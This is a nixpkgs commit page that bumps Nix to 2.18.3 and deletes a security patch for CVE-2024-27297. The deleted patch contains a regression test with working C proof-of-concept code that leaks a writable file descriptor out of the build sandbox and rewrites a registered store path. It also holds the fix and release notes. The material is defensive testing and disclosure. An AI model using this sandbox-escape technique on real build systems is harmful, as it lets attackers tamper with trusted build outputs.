Clone of https://github.com/NixOS/nixpkgs.git (to stress-test knotserver)

Merge pull request #321714 from alois31/nix-2.18.3-23.11

nixVersions.nix_2_18: 2.18.1 -> 2.18.3

authored by Artturin and committed by GitHub b27c5600 2e00ff70

Changed files
+7 -390
nixos
modules
installer
pkgs
tools
package-management
+5 -5
nixos/modules/installer/tools/nix-fallback-paths.nix
··· 1 1 { 2 - x86_64-linux = "/nix/store/azvn85cras6xv4z5j85fiy406f24r1q0-nix-2.18.1"; 3 - i686-linux = "/nix/store/9bnwy7f9h0kzdzmcnjjsjg0aak5waj40-nix-2.18.1"; 4 - aarch64-linux = "/nix/store/hh65xwqm9s040s3cgn9vzcmrxj0sf5ij-nix-2.18.1"; 5 - x86_64-darwin = "/nix/store/6zi5fqzn9n17wrk8r41rhdw4j7jqqsi3-nix-2.18.1"; 6 - aarch64-darwin = "/nix/store/0pbq6wzr2f1jgpn5212knyxpwmkjgjah-nix-2.18.1"; 2 + x86_64-linux = "/nix/store/yrsmzlw2lgbknzwic1gy1gmv3l2w1ax8-nix-2.18.3"; 3 + i686-linux = "/nix/store/ds9381l9mlwfaclvqnkzn3jl4qb8m3y1-nix-2.18.3"; 4 + aarch64-linux = "/nix/store/hw1zny3f8520zyskmp1qaybv1ir5ilxh-nix-2.18.3"; 5 + x86_64-darwin = "/nix/store/z08yc4sl1fr65q53wz6pw30h67qafaln-nix-2.18.3"; 6 + aarch64-darwin = "/nix/store/p57m7m0wrz8sqxiwinzpwzqzak82zn75-nix-2.18.3"; 7 7 }
+2 -6
pkgs/tools/package-management/nix/default.nix
··· 227 227 }; 228 228 229 229 nix_2_18 = common { 230 - version = "2.18.1"; 231 - hash = "sha256-WNmifcTsN9aG1ONkv+l2BC4sHZZxtNKy0keqBHXXQ7w="; 232 - patches = [ 233 - patch-rapidcheck-shared 234 - ./patches/2_18/CVE-2024-27297.patch 235 - ]; 230 + version = "2.18.3"; 231 + hash = "sha256-430V4oN1Pid0h3J1yucrik6lbDh5D+pHI455bzLPEDY="; 236 232 }; 237 233 238 234 nix_2_19 = common {
-379
pkgs/tools/package-management/nix/patches/2_18/CVE-2024-27297.patch
··· 1 - From f8d20e91a45f71b60402f5916d2475751c089c84 Mon Sep 17 00:00:00 2001 2 - From: Tom Bereknyei <tomberek@gmail.com> 3 - Date: Fri, 1 Mar 2024 03:42:26 -0500 4 - Subject: [PATCH 1/3] Add a NixOS test for the sandbox escape 5 - 6 - Test that we can't leverage abstract unix domain sockets to leak file 7 - descriptors out of the sandbox and modify the path after it has been 8 - registered. 9 - 10 - Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> 11 - --- 12 - flake.nix | 2 + 13 - tests/nixos/ca-fd-leak/default.nix | 90 ++++++++++++++++++++++++++++++ 14 - tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ 15 - tests/nixos/ca-fd-leak/smuggler.c | 66 ++++++++++++++++++++++ 16 - 4 files changed, 223 insertions(+) 17 - create mode 100644 tests/nixos/ca-fd-leak/default.nix 18 - create mode 100644 tests/nixos/ca-fd-leak/sender.c 19 - create mode 100644 tests/nixos/ca-fd-leak/smuggler.c 20 - 21 - diff --git a/flake.nix b/flake.nix 22 - index 230bb6031..4a54c660f 100644 23 - --- a/flake.nix 24 - +++ b/flake.nix 25 - @@ -634,6 +634,8 @@ 26 - ["i686-linux" "x86_64-linux"] 27 - (system: runNixOSTestFor system ./tests/nixos/setuid.nix); 28 - 29 - + tests.ca-fd-leak = runNixOSTestFor "x86_64-linux" ./tests/nixos/ca-fd-leak; 30 - + 31 - 32 - # Make sure that nix-env still produces the exact same result 33 - # on a particular version of Nixpkgs. 34 - diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix 35 - new file mode 100644 36 - index 000000000..a6ae72adc 37 - --- /dev/null 38 - +++ b/tests/nixos/ca-fd-leak/default.nix 39 - @@ -0,0 +1,90 @@ 40 - +# Nix is a sandboxed build system. But Not everything can be handled inside its 41 - +# sandbox: Network access is normally blocked off, but to download sources, a 42 - +# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". 43 - +# The detail here is not important, but in our case it means that the hash of 44 - +# the output has to be known beforehand. And if you know that, you get a few 45 - +# rights: you no longer run inside a special network namespace! 46 - +# 47 - +# Now, Linux has a special feature, that not many other unices do: Abstract 48 - +# unix domain sockets! Not only that, but those are namespaced using the 49 - +# network namespace! That means that we have a way to create sockets that are 50 - +# available in every single fixed-output derivation, and also all processes 51 - +# running on the host machine! Now, this wouldn't be that much of an issue, as, 52 - +# well, the whole idea is that the output is pure, and all processes in the 53 - +# sandbox are killed before finalizing the output. What if we didn't need those 54 - +# processes at all? Unix domain sockets have a semi-known trick: you can pass 55 - +# file descriptors around! 56 - +# This makes it possible to exfiltrate a file-descriptor with write access to 57 - +# $out outside of the sandbox. And that file-descriptor can be used to modify 58 - +# the contents of the store path after it has been registered. 59 - + 60 - +{ config, ... }: 61 - + 62 - +let 63 - + pkgs = config.nodes.machine.nixpkgs.pkgs; 64 - + 65 - + # Simple C program that sends a a file descriptor to `$out` to a Unix 66 - + # domain socket. 67 - + # Compiled statically so that we can easily send it to the VM and use it 68 - + # inside the build sandbox. 69 - + sender = pkgs.runCommandWith { 70 - + name = "sender"; 71 - + stdenv = pkgs.pkgsStatic.stdenv; 72 - + } '' 73 - + $CC -static -o $out ${./sender.c} 74 - + ''; 75 - + 76 - + # Okay, so we have a file descriptor shipped out of the FOD now. But the 77 - + # Nix store is read-only, right? .. Well, yeah. But this file descriptor 78 - + # lives in a mount namespace where it is not! So even when this file exists 79 - + # in the actual Nix store, we're capable of just modifying its contents... 80 - + smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); 81 - + 82 - + # The abstract socket path used to exfiltrate the file descriptor 83 - + socketName = "FODSandboxExfiltrationSocket"; 84 - +in 85 - +{ 86 - + name = "ca-fd-leak"; 87 - + 88 - + nodes.machine = 89 - + { config, lib, pkgs, ... }: 90 - + { virtualisation.writableStore = true; 91 - + nix.settings.substituters = lib.mkForce [ ]; 92 - + virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; 93 - + }; 94 - + 95 - + testScript = { nodes }: '' 96 - + start_all() 97 - + 98 - + machine.succeed("echo hello") 99 - + # Start the smuggler server 100 - + machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") 101 - + 102 - + # Build the smuggled derivation. 103 - + # This will connect to the smuggler server and send it the file descriptor 104 - + machine.succeed(r""" 105 - + nix-build -E ' 106 - + builtins.derivation { 107 - + name = "smuggled"; 108 - + system = builtins.currentSystem; 109 - + # look ma, no tricks! 110 - + outputHashMode = "flat"; 111 - + outputHashAlgo = "sha256"; 112 - + outputHash = builtins.hashString "sha256" "hello, world\n"; 113 - + builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; 114 - + args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; 115 - + }' 116 - + """.strip()) 117 - + 118 - + 119 - + # Tell the smuggler server that we're done 120 - + machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") 121 - + 122 - + # Check that the file was not modified 123 - + machine.succeed(r""" 124 - + cat ./result 125 - + test "$(cat ./result)" = "hello, world" 126 - + """.strip()) 127 - + ''; 128 - + 129 - +} 130 - diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c 131 - new file mode 100644 132 - index 000000000..75e54fc8f 133 - --- /dev/null 134 - +++ b/tests/nixos/ca-fd-leak/sender.c 135 - @@ -0,0 +1,65 @@ 136 - +#include <sys/socket.h> 137 - +#include <sys/un.h> 138 - +#include <stdlib.h> 139 - +#include <stddef.h> 140 - +#include <stdio.h> 141 - +#include <unistd.h> 142 - +#include <fcntl.h> 143 - +#include <errno.h> 144 - +#include <string.h> 145 - +#include <assert.h> 146 - + 147 - +int main(int argc, char **argv) { 148 - + 149 - + assert(argc == 2); 150 - + 151 - + int sock = socket(AF_UNIX, SOCK_STREAM, 0); 152 - + 153 - + // Set up a abstract domain socket path to connect to. 154 - + struct sockaddr_un data; 155 - + data.sun_family = AF_UNIX; 156 - + data.sun_path[0] = 0; 157 - + strcpy(data.sun_path + 1, argv[1]); 158 - + 159 - + // Now try to connect, To ensure we work no matter what order we are 160 - + // executed in, just busyloop here. 161 - + int res = -1; 162 - + while (res < 0) { 163 - + res = connect(sock, (const struct sockaddr *)&data, 164 - + offsetof(struct sockaddr_un, sun_path) 165 - + + strlen(argv[1]) 166 - + + 1); 167 - + if (res < 0 && errno != ECONNREFUSED) perror("connect"); 168 - + if (errno != ECONNREFUSED) break; 169 - + } 170 - + 171 - + // Write our message header. 172 - + struct msghdr msg = {0}; 173 - + msg.msg_control = malloc(128); 174 - + msg.msg_controllen = 128; 175 - + 176 - + // Write an SCM_RIGHTS message containing the output path. 177 - + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); 178 - + hdr->cmsg_len = CMSG_LEN(sizeof(int)); 179 - + hdr->cmsg_level = SOL_SOCKET; 180 - + hdr->cmsg_type = SCM_RIGHTS; 181 - + int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); 182 - + memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); 183 - + 184 - + msg.msg_controllen = CMSG_SPACE(sizeof(int)); 185 - + 186 - + // Write a single null byte too. 187 - + msg.msg_iov = malloc(sizeof(struct iovec)); 188 - + msg.msg_iov[0].iov_base = ""; 189 - + msg.msg_iov[0].iov_len = 1; 190 - + msg.msg_iovlen = 1; 191 - + 192 - + // Send it to the othher side of this connection. 193 - + res = sendmsg(sock, &msg, 0); 194 - + if (res < 0) perror("sendmsg"); 195 - + int buf; 196 - + 197 - + // Wait for the server to close the socket, implying that it has 198 - + // received the commmand. 199 - + recv(sock, (void *)&buf, sizeof(int), 0); 200 - +} 201 - diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c 202 - new file mode 100644 203 - index 000000000..82acf37e6 204 - --- /dev/null 205 - +++ b/tests/nixos/ca-fd-leak/smuggler.c 206 - @@ -0,0 +1,66 @@ 207 - +#include <sys/socket.h> 208 - +#include <sys/un.h> 209 - +#include <stdlib.h> 210 - +#include <stddef.h> 211 - +#include <stdio.h> 212 - +#include <unistd.h> 213 - +#include <assert.h> 214 - + 215 - +int main(int argc, char **argv) { 216 - + 217 - + assert(argc == 2); 218 - + 219 - + int sock = socket(AF_UNIX, SOCK_STREAM, 0); 220 - + 221 - + // Bind to the socket. 222 - + struct sockaddr_un data; 223 - + data.sun_family = AF_UNIX; 224 - + data.sun_path[0] = 0; 225 - + strcpy(data.sun_path + 1, argv[1]); 226 - + int res = bind(sock, (const struct sockaddr *)&data, 227 - + offsetof(struct sockaddr_un, sun_path) 228 - + + strlen(argv[1]) 229 - + + 1); 230 - + if (res < 0) perror("bind"); 231 - + 232 - + res = listen(sock, 1); 233 - + if (res < 0) perror("listen"); 234 - + 235 - + int smuggling_fd = -1; 236 - + 237 - + // Accept the connection a first time to receive the file descriptor. 238 - + fprintf(stderr, "%s\n", "Waiting for the first connection"); 239 - + int a = accept(sock, 0, 0); 240 - + if (a < 0) perror("accept"); 241 - + 242 - + struct msghdr msg = {0}; 243 - + msg.msg_control = malloc(128); 244 - + msg.msg_controllen = 128; 245 - + 246 - + // Receive the file descriptor as sent by the smuggler. 247 - + recvmsg(a, &msg, 0); 248 - + 249 - + struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); 250 - + while (hdr) { 251 - + if (hdr->cmsg_level == SOL_SOCKET 252 - + && hdr->cmsg_type == SCM_RIGHTS) { 253 - + 254 - + // Grab the copy of the file descriptor. 255 - + memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); 256 - + } 257 - + 258 - + hdr = CMSG_NXTHDR(&msg, hdr); 259 - + } 260 - + fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); 261 - + close(a); 262 - + 263 - + // Wait for a second connection, which will tell us that the build is 264 - + // done 265 - + a = accept(sock, 0, 0); 266 - + fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); 267 - + // Write a new content to the file 268 - + if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); 269 - + char * new_content = "Pwned\n"; 270 - + int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); 271 - + if (written_bytes != strlen(new_content)) perror("write"); 272 - +} 273 - -- 274 - 2.42.0 275 - 276 - 277 - From 4bc5a3510fa3735798f9ed3a2a30a3ea7b32343a Mon Sep 17 00:00:00 2001 278 - From: Tom Bereknyei <tomberek@gmail.com> 279 - Date: Fri, 1 Mar 2024 03:45:39 -0500 280 - Subject: [PATCH 2/3] Copy the output of fixed-output derivations before 281 - registering them 282 - 283 - It is possible to exfiltrate a file descriptor out of the build sandbox 284 - of FODs, and use it to modify the store path after it has been 285 - registered. 286 - To avoid that issue, don't register the output of the build, but a copy 287 - of it (that will be free of any leaked file descriptor). 288 - 289 - Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> 290 - Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> 291 - --- 292 - src/libstore/build/local-derivation-goal.cc | 6 ++++++ 293 - src/libutil/filesystem.cc | 6 ++++++ 294 - src/libutil/util.hh | 7 +++++++ 295 - 3 files changed, 19 insertions(+) 296 - 297 - diff --git a/src/libstore/build/local-derivation-goal.cc b/src/libstore/build/local-derivation-goal.cc 298 - index 64b55ca6a..f1e22f829 100644 299 - --- a/src/libstore/build/local-derivation-goal.cc 300 - +++ b/src/libstore/build/local-derivation-goal.cc 301 - @@ -2558,6 +2558,12 @@ SingleDrvOutputs LocalDerivationGoal::registerOutputs() 302 - [&](const DerivationOutput::CAFixed & dof) { 303 - auto & wanted = dof.ca.hash; 304 - 305 - + // Replace the output by a fresh copy of itself to make sure 306 - + // that there's no stale file descriptor pointing to it 307 - + Path tmpOutput = actualPath + ".tmp"; 308 - + copyFile(actualPath, tmpOutput, true); 309 - + renameFile(tmpOutput, actualPath); 310 - + 311 - auto newInfo0 = newInfoFromCA(DerivationOutput::CAFloating { 312 - .method = dof.ca.method, 313 - .hashType = wanted.type, 314 - diff --git a/src/libutil/filesystem.cc b/src/libutil/filesystem.cc 315 - index 11cc0c0e7..2a7787c0e 100644 316 - --- a/src/libutil/filesystem.cc 317 - +++ b/src/libutil/filesystem.cc 318 - @@ -133,6 +133,12 @@ void copy(const fs::directory_entry & from, const fs::path & to, bool andDelete) 319 - } 320 - } 321 - 322 - + 323 - +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete) 324 - +{ 325 - + return copy(fs::directory_entry(fs::path(oldPath)), fs::path(newPath), andDelete); 326 - +} 327 - + 328 - void renameFile(const Path & oldName, const Path & newName) 329 - { 330 - fs::rename(oldName, newName); 331 - diff --git a/src/libutil/util.hh b/src/libutil/util.hh 332 - index b302d6f45..59d42e0a5 100644 333 - --- a/src/libutil/util.hh 334 - +++ b/src/libutil/util.hh 335 - @@ -274,6 +274,13 @@ void renameFile(const Path & src, const Path & dst); 336 - */ 337 - void moveFile(const Path & src, const Path & dst); 338 - 339 - +/** 340 - + * Recursively copy the content of `oldPath` to `newPath`. If `andDelete` is 341 - + * `true`, then also remove `oldPath` (making this equivalent to `moveFile`, but 342 - + * with the guaranty that the destination will be “fresh”, with no stale inode 343 - + * or file descriptor pointing to it). 344 - + */ 345 - +void copyFile(const Path & oldPath, const Path & newPath, bool andDelete); 346 - 347 - /** 348 - * Wrappers arount read()/write() that read/write exactly the 349 - -- 350 - 2.42.0 351 - 352 - 353 - From 9e7065bef5469b3024cde2bbc7745530a64fde5b Mon Sep 17 00:00:00 2001 354 - From: Tom Bereknyei <tomberek@gmail.com> 355 - Date: Fri, 1 Mar 2024 04:01:23 -0500 356 - Subject: [PATCH 3/3] Add release notes 357 - 358 - Co-authored-by: Theophane Hufschmitt <theophane.hufschmitt@tweag.io> 359 - --- 360 - doc/manual/src/release-notes/rl-next.md | 8 ++++++++ 361 - 1 file changed, 8 insertions(+) 362 - 363 - diff --git a/doc/manual/src/release-notes/rl-next.md b/doc/manual/src/release-notes/rl-next.md 364 - index c869b5e2f..f77513385 100644 365 - --- a/doc/manual/src/release-notes/rl-next.md 366 - +++ b/doc/manual/src/release-notes/rl-next.md 367 - @@ -1 +1,9 @@ 368 - # Release X.Y (202?-??-??) 369 - + 370 - +- Fix a FOD sandbox escape: 371 - + Cooperating Nix derivations could send file descriptors to files in the Nix 372 - + store to each other via Unix domain sockets in the abstract namespace. This 373 - + allowed one derivation to modify the output of the other derivation, after Nix 374 - + has registered the path as "valid" and immutable in the Nix database. 375 - + In particular, this allowed the output of fixed-output derivations to be 376 - + modified from their expected content. This isn't the case any more. 377 - -- 378 - 2.42.0 379 -